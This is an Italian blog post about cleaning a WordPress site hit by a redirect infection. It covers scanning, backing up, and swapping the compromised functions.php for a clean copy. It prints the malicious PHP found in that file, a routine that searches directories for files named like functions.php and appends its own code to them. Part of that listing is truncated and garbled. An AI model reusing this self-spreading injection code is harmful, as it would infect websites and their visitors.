WordPress Virus Redirect



Descrizione del problema

  • Redirect della vostra pagina su siti sconosciuti quando cercate il sito in google e lo aprite con il browser Chrome.
  • Messaggio antivirus che dice che il vostro sito ha contenuti provenienti da siti che notoriamente veicolano malware.

è molto probabile che il server web sia stato violato, e qualcuno abbia iniettato un iFrame, link, porzioni di codice php nel tuo sito.

 

Come ho risolto il mio problema

  1. Per prima cosa fate un’ulteriore verifica dello stato di sicurezza del vostro sito wordpress, in modo da avere un’idea dei file implicati al seguente indirizzo: http://sitecheck.sucuri.net/scanner/  si tratta di un sito che scansiona i possibili virus presenti. (nel mio caso specifico ho capito che si trattava del file functions.php).
  2. Nel mio caso avevo bisogno di agire immediatamente, quindi una volta scansionato il sito e appurato che si trattava del file functions.php, per prima cosa ho fatto un backup del sito in locale.
  3. Forte della sicurezza di avere un backup ho rinominato il file functions.php (quello online, chiamandolo virus_functions.php) e ho caricato un nuovo functions.php prendendolo direttamente dalla cartella del mio tema (come allo stato in cui feci il download la prima volta). Ora, ATTENZIONE: non ho buttato il functions.php compromesso dall’attacco virus ma l’ho solo rinominato, prima di fare qualche danno peggiore e non poter tornare alla situazione precedente (vero che c’è un backup in locale ma meglio essere più che prudenti in questi casi)

Ecco dove era situato il problema nel file, guardate la porzione di codice che vi posto:

CODICE SOSPETTO RISCONTRATO NEL FILE functions.php:


function _verify_isactivate_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__)," $output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f);
$output .= ($showsdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgetscont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetscont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

Ora, questo è stato il mio caso e la mia decisione per evitare di perdere visite e evitare che il mio sito fosse considerato malevolo da Google, cosa che reputo gravissima. Tenete conto che io ho un blog da nulla, ma c’è chi ha migliaia e migliaia di visite ogni giorno, partnership pubblicitarie, anni di buona reputazione… insomma il problema potrebbe essere per molti una tragedia.

ATTENZIONE: Il problema potrebbe presentarsi in modo diverso e colpire file differenti. Inoltre come abbiamo detto all’inizio, è molto probabile che il server sia stato violato. Per questo motivo leggete la FAQ ufficiale di WordPress Codex. Qui verrà spiegato il modus operandi adeguato per mettere in sicurezza il vostro sito:

http://codex.wordpress.org/FAQ_My_site_was_hacked

Approfondimenti: ATTACCHI VIRUS A WORDPRESS timthumb.php